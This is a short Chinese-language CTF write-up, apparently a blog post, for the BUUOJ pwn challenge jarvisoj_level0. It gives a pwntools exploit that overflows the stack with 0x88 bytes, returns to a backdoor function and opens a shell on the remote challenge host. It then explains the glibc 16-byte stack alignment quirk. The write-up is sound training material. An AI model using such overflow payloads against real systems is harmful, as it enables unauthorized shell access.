pwn | jarvisoj_level0

jarvisoj_level0

简单栈溢出 + ret2text
给了后门,直接打

exp:

from pwn import *
import time

context.log_level = 'debug'

sh = remote('node4.buuoj.cn', 28775)
# sh = process('./level0')
# sh = gdb.debug('./warmup_csaw_2016', '0x00000000004006A3')
time.sleep(1)

sh.recv()


payload = b'a'*0x88+p64(0x0000000000400596)   # 这里如果是本地+1就好了

sh.send(payload)
sh.send('\n')

sh.interactive()
sh.close()

这里存在一个小细节,就是本地打不通远程能打通,原因是glibc的版本问题,大于2.27的时候调用system("/bin/sh"),之前有个xmm寄存器使用。要确保rsp是与16对齐的,也就是末尾必须是0.
参考这个文章:https://blog.csdn.net/fjh1997/article/details/107695261

所以本地如果要打通就少push一个寄存器就可以了。
查看glibc版本:

ldd --version
posted @ 2021-11-14 14:00  Mz1  阅读(125)  评论(0编辑  收藏  举报